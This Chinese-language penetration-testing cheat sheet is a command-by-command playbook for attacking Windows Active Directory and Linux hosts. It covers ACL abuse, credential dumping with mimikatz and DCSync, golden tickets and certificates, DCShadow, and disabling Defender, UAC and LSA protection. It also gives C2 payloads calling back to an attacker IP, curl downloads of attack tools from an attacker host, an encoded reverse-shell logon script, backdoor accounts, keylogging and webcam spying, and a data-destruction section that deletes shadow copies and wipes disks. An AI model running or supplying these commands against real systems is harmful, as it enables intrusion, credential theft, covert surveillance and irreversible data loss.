bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p "$password" set object "$target" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p :$ntlm set object "$target" servicePrincipalName -v 'http/anything'

nxc

nxc ldap $ip -d $domain -u $user -H $hash --kerberoasting kerberoastables.txt

WriteProperty

目标为用户（靶向kerberoasting）

打靶向kerberoasting（Targeted Kerberoast），伪造 SPN 绑定，使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt

目标为用户（修改目标登陆脚本）

需要利用powerview，当我们具备全局写入权限，我们可以对用户使用 GenericWrite 来更新他们的登录脚本。此脚本将在用户下次登录时运行

准备一个你想执行的脚本放在目录当中

写入目标登陆脚本

Set-DomainObject -Identity $target -SET @{scriptpath="C:\\programdata\\test.ps1"}

Validated-SPN

目标为用户

打靶向kerberoasting（Targeted Kerberoast），伪造 SPN 绑定，使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD"

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt

ForceChangePassword

拥有此权限可以远程目标密码

bloodyAD

bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p <管理员密码> set password <目标用户> <新密码>
or
bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p :$ntlm set password <目标用户> <新密码>

nxc

nxc smb <ip> -u user -p pass -M change-password -o USER=TargetUser NEWPASS=NewPassword

rpc

先通过具备权限的用户登陆目标rpcclient
之后
setuserinfo2 <target-user> 23 'new_pass'
或者直接一句话
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'

本地powerview

$newpass = ConvertTo-SecureString 'wackyMAKER123!' -AsPlainText -Force
Set-DomainUserPassword -Identity $targets -AccountPassword $newpass

ReadGMSAPassword

gmsa（组托管服务账户），此账户具有额外属性msDS-GroupManagedServiceAccount，此属性写入的组允许读取此托管账户的hash，所以如果有对其的写入权限，也可以尝试打

这里演示一个如果a用户对b托管服务账户有写入权限如何添加到可读取的权限，也就是添加ReadGMSAPassword(此会话权限为a)

# 需要rast ad模块
Set-ADServiceAccount B -PrincipalsAllowedToRetrieveManagedPassword "a"

gMSADumper

拥有读取组管理服务账户的权限，可以远程利用以下工具读取

https://github.com/micahvandeusen/gMSADumper

使用如下

python3 gMSADumper.py -u $user -p $pass -l $domain -d $domain

bloodyad

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" get object "$Target" --attr msDS-ManagedPassword
or
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p :$ntlm get object "$Target" --attr msDS-ManagedPassword

nxc

nxc ldap $ip -u $user -p $pass --gmsa

WriteSPN

两种利用手法

kerberoasting

打靶向kerberoasting（Targeted Kerberoast），伪造 SPN 绑定，使该用户变成可被 Kerberoast 的目标。

可以理解为我们将一个用户变为服务账户，之后直接对他打Kerberoasting

本地powerview

首先给目标用户分配spn

set-DomainObject -identity $user -SET @{serviceprincipalname='test/$host'}

之后直接打Invoke-Kerberost，或者利用如下面命令请求tgt之后搞到v2hash，只需要powerview

Get-DomainUSer RSA_4810 | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash

远程

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p "$password" set object "$target" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$domain" --host $FQDN --dc-ip $ip -u "$user" -p :$ntlm set object "$target" servicePrincipalName -v 'http/anything'

nxc

nxc ldap $ip -d $domain -u $user -H $hash --kerberoasting kerberoastables.txt

SPN劫持

还没打过先不记录

AddKeyCredentialLink

在 Active Directory 里，每个用户或计算机对象都有一个属性叫 msDS-KeyCredentialLink。

这个属性保存了该账户允许的公钥凭据 (Key Credentials)，主要用于 Windows Hello for Business (WHfB) 或 FIDO 认证

这个权限允许我们对目标写入公钥，换句话说，允许我们打影子凭证

AllowedToAct

允许从执行方到目标的基于资源委派，也就是可以直接请求st的rbcd（已经配置好的rbcd，注意需要机器用户哈）

组策略GPO相关

SharpGPOAbuse

如果我们有修改组策略的权限，可以将自己写入管理员组

先查GPO

Get-GPO -All | Select-Object DisplayName

将自己写入管理员组

.\SharpGPOAbuse.exe --AddLocalADmin --UserAccount <user> --GPOName "GPO-name"

刷新组策略

gpupdate /force

可用于提权组策略

AlwaysInstallElevated

https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90

这是一个 Windows 组策略设置项。如果用户和系统都启用了它，任何用户都可以用 msiexec 安装一个以 SYSTEM 权限执行的 MSI 安装包

1：使用powerup操作流程

Write-UserAddMSI #创建恶意msi逻辑如下

（net user backdoor Passw0rd! /add ;net localgroup administrators backdoor /add）

msiexec /quiet /qn /i C:\Path\To\YourGenerated.msi #有桌面权限也可以直接点击
之后会创建后门用户

2：使用MSI Wrapper主动生成能上线载荷的所有msi操作流程

工具地址https://www.exemsi.com/download/
运行后将exe载荷比如说msf之类的给它，并且选择运行时要求提升权限，生成完毕后安装即可
msiexec /q /i RunProcessHacker.msi
开头的文章写的比较清楚，此笔记只供速用

linux相关

提权三件套

sudo

sudo -l

suid

find / -perm -4000 2>/dev/null

pspy以及linpeas直接运行

py交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

抓包

最好移动到tmp目录下抓取，有可能会遇到root权限不足
开启任务
tcpdump -i eth0 -w .d.pcap -s 0 'not tcp port 22' &
实时查看文件大小，差不多了就可以杀掉传本地wireshark分析
jobs
kill %$id

c2使用相关

msf相关

迅速部署msf（ubt）

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
msf使用的是postgresql数据库,如果没有的话需要先安装

sudo apt install postgresql

安装完成之后确认下服务是否开启，如果没有开启它

sudo service postgresql status

文件系统操作

ls, cd, pwd	     浏览目标文件系统
download <文件>	    下载文件
upload <文件>	    上传文件
search -f <关键字>	    搜索包含关键词的文件
cat <文件>	    直接读取文件内容
rm / mkdir / mv	    删除/新建/移动文件

系统信息收集

sysinfo	系统版本/架构/域信息
getenv	查看环境变量
ps	列出所有进程
getpid	当前 Meterpreter PID
shell	获取目标交互式 cmd shell

权限相关操作

use post/multi/recon/local_exploit_suggester 查找本地提权漏洞
getprivs	查看当前权限
run post/windows/escalate/getsystem	 提权为SYSTEM
load incognito → list_tokens -u → impersonate_token <token>	  模拟用户 Token 提权
run post/windows/escalate/uac	UAC 绕过尝试
steal_token <pid>	窃取进程 Token
rev2self	恢复初始权限状态

创建进程并迁移

execute -H -f notepad
migrate <pid>

加载mimikatz套件并导出所有凭证（需要权限）

先在已经搞到的session注入mimikatz
load kiwi

命令如下，注意不用打**

**creds_all**              获取所有凭据（已解析）  
**creds_kerberos**         获取 Kerberos 凭据（已解析）  
**creds_livessp**          获取 Live SSP 凭据  
**creds_msv**              获取 LM/NTLM 凭据（已解析）  
**creds_ssp**              获取 SSP 凭据  
**creds_tspkg**            获取 TsPkg 凭据（已解析）  
**creds_wdigest**          获取 WDigest 凭据（已解析）  
**dcsync**                 通过 DCSync 获取用户账户信息（未解析）  
**dcsync_ntlm**            通过 DCSync 获取用户账户的 NTLM 哈希、SID 和 RID  
**golden_ticket_create**   创建黄金 Kerberos 票据  
**kerberos_ticket_list**   列出所有 Kerberos 票据（未解析）  
**kerberos_ticket_purge**  清除当前使用的 Kerberos 票据  
**kerberos_ticket_use**    使用指定的 Kerberos 票据  
**kiwi_cmd**               执行任意 Mimikatz 命令（未解析）  
**lsa_dump_sam**           转储 LSA SAM 数据（未解析）  
**lsa_dump_secrets**       转储 LSA Secrets（未解析）  
**password_change**        修改用户的密码/哈希  
**wifi_list**              列出当前用户的 Wi-Fi 配置及凭据  
**wifi_list_shared**       列出共享 Wi-Fi 配置及凭据（需 SYSTEM 权限）

或者在获得system后直接hashdump

桌面级操作（核心）

在确保目标完全不存在杀软以及edr前，请不要随便使用摄像头

枚举当前所有桌面

enumdesktops

获取可用桌面并切换,切入会话操作是一切的基础

getdesktop
setdesktop <name>

截图当前桌面(貌似是低危操作，可使用)

screenshot

共享当前桌面（高危操作，不是因为容易报毒，而是容易断shell，桌面监控建议使用vshell）

screenshare

键盘监控（低危且好用）

keyscan_start / keyscan_dump / keyscan_stop

列出可用摄像头

webcam_list

利用摄像头拍摄，或者持续播放(高危中的高危，就没有不报敏感操作的)

webcam_snap
webcam_stream

抓取浏览器信息

貌似不是高危，还是看edr，并且建议以用户权限运行

use post/windows/gather/enum_browsers
set SESSION <你的 session ID>
run

msf不适合自己做持久化，因为其生成的exe都是报毒的

sliver使用相关

bof

https://github.com/sliverarmory

部署相关，一般直接开包即用，如果是vps环境建议部署如下两个辅助工具

sudo apt install wireguard-tools
apt install git mingw-w64

也可以一键直接部署

curl https://sliver.sh/install|sudo bash

载荷会话外使用

持续会话监听生成

可用参数
[监听协议] --lport[监听端口]
常用
http --lport 443
mtls --port 4444

其他参数请使用help http这种形式查看

持续会话载荷生成

可用参数
generate --[协议] [主机:端口] --os [系统] --arch [架构] --format exe --save [保存地址或保存名称]
常用
generate --http 192.168.174.129:443 --os windows --arch 64 --save 2.exe
generate --http 192.168.174.129:443 --os windows --arch 64 --format shellcode --save 2.bin

其他参数可使用help generate参数查看

载荷回连后使用

sessions #查看存活会话
use [id] #进入会话

载荷会话内使用

进入会话内部后，如果是信标模式最好切换为会话模式

进入会话后无需进入shell模式，可以正常使用非交互shell，help中可以看到指令，常用的mv，mkdir，cd，ls都可以，所以不建议直接进入shell模式

shell
#进入shell模式后退出需要输入exit后等待十秒钟随便按下一个键

会话内的操作很多，所有命令都可以使用help [命令]查看其使用的参数，以下只是示例常用命令，不做过多记录

info #查看会话信息
ifconfig #查看会话中网段信息
whoami #查看自己
getprivs以及getsystem #windows特供命令，不解释
rename -name shell #将当前会话重命名为shell
execute-shellcode -p [pid] /home/wackymaker/test/1.bin #执行shellcode，-p可以指定其他进程注入可以利用ps查看，用来上线msf很方便
migrate -p [pid] #指定载荷

二开rustdesk使用

下载地址

https://github.com/YDHCUI/rustdesk

服务端建立在vps上（也可以是在内网机，主要是连接工具需要能访问到服务端，服务端不需要出网）

./server -i $vps_ip

客户端运行

.\agent.exe -s $vps_ip -u wack -p pass

在官网下载rustdesk连接工具，就可以连接了

将网络的id服务器与中继服务器改为vps，端口分别默认为：21116与21117
# 注意必须等rustdesk出现回显再连接否则可能报无法连接中继服务器报错

默认执行agent会启用黑窗口，靶机环境无所谓，但是实战环境最好使用隐藏脚本

start.bat

agent.exe -s $ip -u admin -p pass

loader.vbs

set ws=WScript.CreateObject("WScript.Shell")ws.Run "start.bat",0

后渗透利用

删库跑路

禁用所有恢复数据的策略

cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

删库

Remove-Item -Path "C:\Your\Path" -Recurse -Force

填充无意义字符

cipher /w:C:\Your\Path

或者格式化盘符

format D: /fs:ntfs /p:1 /q

rodc相关

获取rodc管理员后，我们可以横向至主域，目前没有找到远程利用方式，主要使用powerview以及鲁博本地攻击

第一步，获取当前rodc的krbtgt用户hash，用户名称格式一般位krbtgt_$奇怪数字

.\mimikatz.exe "Privilege::Debug" "log" "lsadump::lsa /patch" "exit"

第二步，注入powerview，并将域管理员添加允许同步时rodc属性

Import-Module .\PowerView.ps1

清空属性
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=$domain,DC=local' -Clear 'msDS-NeverRevealGroup'

添加属性
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=$domain,DC=local' -Set @{'msDS-RevealOnDemandGroup'=@('CN=Administrator,CN=Users,DC=$domain,DC=local')}

第三步，构造黄金票据

.\Rubeus.exe golden /rodcNumber:$krbtgt的数字 /rc4:$krbtgt_rodc_hash /user:administrator /id:500 /domain:$domain /sid:$domain_sid /nowrap

第四步，请求域管理hash

.\Rubeus.exe asktgs /enctype:rc4 /keyList /service:krbtgt/$domain /dc:$dc_FQDN /ticket:doIFpjCCBaKgLhYad......

defender相关

添加排除目录

生成一个c:/temp目录并且使defender绕过扫描它

mkdir c:/temp
powershell -ep bypass -c "Add-MpPreference -ExclusionPath 'C:\Temp'"

关闭defender实时监控

powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

检查

powershell.exe -Command "Get-MpPreference | Select-Object -ExpandProperty DisableRealtimeMonitoring"

关闭defender

cmd /c "sc stop WinDefend"
cmd /c "net stop WdNisSvc"

后门相关

后门机器账户创建

首先查看当前用户有多少个计算机用户可以创建

nxc ldap $ip -u $user -p $pass -M maq

impacket包远程创建

impacket-addcomputer '$domain/$user:$pass' -method LDAPS -computer-name <name> -computer-pass <pass> -dc-ip $ip

#后门域管理创建（需域管理权限）

创建域用户

New-ADUser -Name "wackymaker" -SamAccountName "wackymaker" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true

赋予域管权限

Add-ADGroupMember -Identity "Domain Admins" -Members "wackyamker"

添加进入远程管理组

Add-ADGroupMember -Identity "Remote Desktop Users" -Members  "wackymaker"

后门本地管理创建（需要本机管理员权限及以上）

net user wackymaker wackMaker1! /add
net localgroup administrators wackymaker /add

后门无预认证账户创建（需域管理或者目标写入权限）

可以创建一个用户或着直接使用用户

powershell

# 创建用户
New-ADUser -Name "MrRobot" -SamAccountName "MrRobot" `
    -AccountPassword (ConvertTo-SecureString "mrroboto12" -AsPlainText -Force) `
    -Enabled $true `
    -Path "CN=Users,DC=novice,DC=com" `
    -HomeDirectory "C:\Users\MrRobot" `
    -HomeDrive "C:"

# 获取用户对象
$user = [ADSI]"LDAP://CN=MrRobot,CN=Users,DC=novice,DC=com"

# 获取当前 userAccountControl 数值
$uac = $user.userAccountControl.Value

# 添加免预认证标志（DONT_REQUIRE_PREAUTH = 4194304）
$user.userAccountControl = $uac -bor 4194304

# 保存修改
$user.SetInfo()

后门启动脚本替换

寻找是否能替换的话需要使用powerview

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "$target"}

如果有权限可以搞一个简单的powershell反弹shell或者其他bat塞进去

#创建
echo "powershell -e JABj...[snip]...CkA" | Out-File -FilePath wack.bat -Encoding ASCII
#设置脚本为目标的启动运行脚本
Get-ADUser $target | Set-ADUser -ScriptPath 'c:\wack.bat'

rdp相关

启用rdp并关闭放行rdp防火墙

#允许 RDP 连接（禁用“拒绝连接”）：
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
#启用防火墙中的远程桌面规则
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
or
New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389
#开启远程桌面的用户身份验证：
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1

开启受限制管理员模式（允许管理员hash登陆机器）

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -Force

使用管理员hash登陆

xfreerdp3 /u:$user /pth:$hash /v:$ip

开机自启三大操作（存在av会爆敏感）

启动项

gui添加

win + r
regedit
在这个路径添加
计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

命令添加

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v aa /t REG_SZ /d "C:\Windows\system32\calc.exe"

成功执行后目标会被添加如开机自启动

计划任务

gui添加

win + r
taskschd.msc

命令添加

schtasks /create /tn PentestLab /tr "C:\Windows\system32\calc.exe" /sc onlogon /ru Administrator
#/sc onlogon	设置任务的触发条件为：用户登录时执行
#/tn PentestLab	指定任务名称为 PentestLab
#/ru Administrator	指定以用户 Administrator（管理员账户） 的身份运行此任务

添加注册表

命令操作

copy "C:\Windows\system32\calc.exe" "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe"

简单来说就是这个路径会开机自启%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

落地凭证抓取（dcsync，lsass内存抓取，sam或者ntds本地抓取）

mimikatz-dcsync

privilege::debug
lsadump::dcsync /domain:xiaorang.lab /user:xiaorang\administrator

添加/history参数有可能能看到用户历史密码

lsadump::dcsync /domain:$domain /user:prod\matt /history

也可以全部抓取

mimikatz.exe "lsadump::dcsync /domain:$domain /all /csv" "exit"

impacket

显示有问题就只抓dc试试，加上参数-just-dc-ntlm

hash

impacket-secretsdump $domain/$user@$ip -hashes $hash -target-ip $ip

密码

impacket-secretsdump $domain/$user:$pass@$ip -target-ip $ip

impacket-secretsdump $domain/$user@$ip -k -no-pass -dc-ip $ip -target-ip $ip

如果是本地抓取则是

hash

impacket-secretsdump '.\$user'@$ip -hashes $hash -target-ip $ip

密码

impacket-secretsdump '.\$user':$pass@$ip -target-ip $ip

nxc-ntds

nxc smb -dc-ip $ip -u administrator -H $hash --ntds
or
KRB5CCNAME=$admin.ccache nxc smb $ip --use-kcache --ntds --user Administrator

Procdump微软工具离线导出（无mimikatz落地）

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

下载到本地测试环境开启mimikatz

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

mimikatz抓取本地登陆信息以及sam文件

privilege::debug

#抓取登陆hash以及密码
sekurlsa::logonpasswords
#抓取sam信息
lsadump::sam

通过转存本地解密全部hash

目标路径

SAM	C:\Windows\System32\config\SAM
SYSTEM	C:\Windows\System32\config\SYSTEM
SECURITY	C:\Windows\System32\config\SECURITY
ntds.dit	C:\Windows\NTDS\ntds.dit

抓到本地后可以解密

impacket-secretsdump -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL

关闭全局uac(需要重启，需要system或者管理员权限)

执行后所有管理员默认以高权限运行，uac被移除

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f

绕过las(ppl)保护转存hash

mimikatz

需要同时上传mimidrv.sys

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 536 -> 00/00 [0-0-0]

privilege::debug

sekurlsa::logonpasswords

lsadump::sam

PPLkiller

github地址

https://github.com/RedCursorSecurityConsulting/PPLKiller?tab=readme-ov-file

编译后上传exe以及dirver里面符合框架驱动

curl http://192.168.45.162:7777/PPLKiller.exe -o PPLKiller.exe
注意驱动需要下载到下面这个目录
curl http://192.168.45.162:7777/RTCore64.sys -o C:\Windows\system32\config\systemprofile\AppData\Local\Temp\RTCore64.sys
之后执行加载驱动
PPLKiller.exe /installDriver
之后关闭lsa
PPLKiller.exe /disableLSAProtection

域万能密码

mimikatz

注意只对2019（包含）之前的server有效

privilege::debug
misc::skeleton
注入成功之后域控的Lsass进程中会给所有账号添加万能密码mimikatz

黄金票据

先获取krbtgt或者信任账户hash

#黄金票据获取krbtgt——hash
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt

黄金票据-mimikatz

mimikatz.exe "privilege::debug" "kerberos::golden /domain:prod.corp1.com /sid:S-1-5-21-634106289-3621871093-708134407 /rc4:cce9d6cd94eb31ccfbb7cc8eeadf7ce1 /user:Administrator /id:500 /ptt" "exit"

黄金票据-Impacket

impacket-ticketer -nthash <krbtgt NTLM hash> -domain-sid <SID> -domain example.com administrator

export KRB5CCNAME=administrator.ccache

黄金证书

先利用域管理权限获得CA 的私有签名密钥

certipy ca -u administrator@$domain -hashes :$hash -target $CA_FQDN -ns $ip -config $CA_FQDN\$CA -backup

预计生成

Certipy v5.0.0 - by Oliver Lyak (ly4k)
[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CORP-CA.pfx'
[*] Wrote certificate and private key to 'CORP-CA.pfx'
[*] Cleaning up

再利用域管理员请求一个能请求的证书用来充当模板（这里其实只需要一个由此ca请求的模板即可，主要是伪造需要其中的一些关键参数）

certipy req -u administrator@$domain -hashes :$hash -template 'User' -ca $ca -target $CA_FQDN

利用生成的私钥以及示例模板创建黄金证书

certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn administrator@$domain -sid 'S-1-5-21-...-500'

预计输出

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

利用生成的黄金证书验证

certipy auth -pfx 'administrator_forged.pfx' -dc-ip $ip

预计输出

[*] Certificate identities:
[*]     SAN UPN: 'administrator@coder.htb'
[*]     SAN URL SID: 'S-1-5-21-2608251805-3526430372-1546376444-500'
[*]     Security Extension SID: 'S-1-5-21-2608251805-3526430372-1546376444-500'
[*] Using principal: 'administrator@coder.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7

dcshadow

mimikatz

DCShadow利用Active Directory的复制机制，伪装成一个域控制器，通过模拟复制服务（DRS RPC）向真实域控制器推送对目录对象的修改。攻击者需要在一台机器上以SYSTEM权限启动伪造的DC服务，准备要修改的属性，然后在另一台拥有域管理员权限的机器上发起复制请求，将这些修改同步到AD中。由于修改是通过合法复制流程进行，不会产生常规的对象修改日志，从而实现低日志痕迹的持久化攻击。简单来说，这种攻击手法利用了dc之间的同步复制，不会触发过多日志报警，适合实战中掌握域控后进行后渗透更改信息。

这种攻击行为默认需要两个mimikatz进行攻击，一台用于伪装dc（需要域内计算机system权限，使用位置不限），一台用于进行域同步从而更改域内信息（需要域管权限，使用位置不限），当然也可以都在dc上进行攻击，只是需要两个mimikatz而已

赋予普通用户域管权限

mimikatz1（用于伪装dc）

!+
!processtoken  #提权到 SYSTEM
lsadump::dcshadow /domain:corp.local /computer:DCFAKE /object:student1 /attribute:SIDHistory /value:S-1-5-21-...-519
#如果是在dc上进行攻击，无需/domain和/computer参数，如果是在域内机器，需要填入域内存在机器hostname以及域（可以不是当前机器，其作用只是方便真正的dc进行查找）
#/object 可以用DN或sAMAccountName，如：/object:CN=Administrator,CN=Users,DC=corp,DC=local

mimikatz2（向伪装dc发起域同步，修改信息）

lsadump::dcshadow /push
#该命令执行后，dc会直接对域内存在机器进行检测，如果检测到存在dc（我们伪装的），就会发起域同步进行信息更改

开启林sid信任

 netdom trust corp2.com /d:corp1.com /enablesidhistory:yes

影子凭证

需要注意影子凭证以下特性

1，影子凭证生成的证书无法用于证书传递，所以远程影子凭证后没有pkinit认证无法请求tgt的话利用会比较困难 2，winrm会话无完整令牌，可能会导致无法更改目标属性，可以使用msf进程迁移至交互桌面会话

whisker+rebues本地攻击

查询目标是否已经被写入

Whisker.exe list /target:sac1$

首先直接在具备权限的用户对目标注入

Whisker.exe add /target:sac1$

powerview查询写入证书（可选，检查是否成功写入）

get-netcomputer sac1

之后利用rebues请求tgt(在注入那一步whisker会生成命令，直接使用即可，以下命令是类似模板)

Rubeus.exe asktgt /user:sac1$ /certificate:MIIJuAIBAz/////yQICB9A= /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt

certipy-ad远程攻击

运行不成功请更新certipy

用户密码

certipy shadow auto -username $user@$domain -password $pass -account $target -target $FQDN -dc-ip $ip

传递hash

certipy shadow auto -username $user@$domain -hashes :$hash -account $target -target $FQDN -dc-ip $ip

注意，老版本windows或许不会认可certipy的证书从而导致请求tgt失败，此时可以尝试pywhisker

pywhisker远程攻击

pywhistker可以通过pipx直接下载

用户密码

python3 pywhisker.py -d $domain -u $user -p $pass --target $target --action "add"

hash传递

python3 pywhisker.py -d $domain -u $user -H $ntlm --target $target --action "add"

之后利用pkinit包请求tgt

python3 gettgtpkinit.py -cert-pfx cert.pfx $domain/$target -pfx-pass $pass_of_cert $target.ccache

不想用gettgtpkinit认证也可以利用certipy,首先去除证书密码

certipy cert -export -pfx cert.pfx  -password $pass_of_cert -out cert1.pfx

之后请求

certipy auth -pfx cert1.pfx  -dc-ip $ip  -username $target -domain $domain

bloodyad远程攻击

bloodyAD --host $ip -u $user -p $pass -d $domain add shadowCredentials $target --path /tmp/testuser.pem
or
bloodyAD --host $ip -u $user -p :$ntlm -d $domain add shadowCredentials $target --path /tmp/testuser.pem

利用ssl将生成的pem转为pfx

openssl pkcs12 -export -out testuser.pfx -inkey testuser.pem -in testuser.pem

之后利用pkinit包请求tgt

python3 gettgtpkinit.py -cert-pfx testuser.pfx bloody.local/testuser -pfx-pass 'your_export_password' testuser.ccache

dpapi解密

mimiikatz

解masterkey

无论是直接在目标机器上执行，还是将文件解码脱机都可以使用mimikatz解密但是都得先解密主key

首先利用目标hash或者密码以及sid解主密钥（masterkey）

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<sid>>dir /a

解masterkey

dpapi::masterkey /in:"C:\users\wackymaker\desktop\masterkey" /sid:S-1-5-21-... /ntlm:7c53cfaa5a8f36205e5392b768b2923a
或者
dpapi::masterkey /in:"C:\users\wackymaker\desktop\masterkey" /sid:S-1-5-21-... /password:4Cc3ssC0ntr0ller

域环境中无密码hash解密masterkey

.\mimikatz.exe "dpapi::masterkey /in:C:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" exit

解cred

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Credentials>dir /a

利用masterkey解密

dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9/masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

impacket-dpapi

使用impacket包解密都需要将内容先全部抓取下来

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<sid>>dir /a

解masterkey(举例)

impacket-dpapi masterkey -file cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74 -sid S-1-5-21-298176814-2846777796-698167141-1103 -password 'Th3C@ll0fCtHu1hu!'

解cred（举例）

目标文件获取

C:\Users\<user>\AppData\Roaming\Microsoft\Credentials>dir /a

利用上一步解密出来的masterkey解密

impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27

nxc

最权威的一个，一键利用域管理抓取所有敏感信息

nxc smb $ip -u administrator -p $pass --dpapi

linux相关

部署ssh公钥后门

首先在本地生成公钥私钥

ssh-keygen -t rsa -b 4096 -f id_rsa

要求密码可以留空（最好留空），会生成两个文件

id_rsa
id_rsa.pub

将公钥传到目标机器用户的.ssh目录下并重命名为authorized_keys，这里我用的是base64

base64 -w0 id_rsa.pub #生成base64字符
echo "粘贴你的base64字符串" | base64 -d > authorized_keys #在目标机器.ssh目录下方创建

预期情况

bash-5.1# ls
authorized_keys
bash-5.1# pwd
/root/.ssh

将私钥权限设定正确后，便可利用私钥登陆

chmod 600 id_rsa
ssh root@$ip -i id_rsa

创建root级用户劫持后门

如果存在稳定交互shell

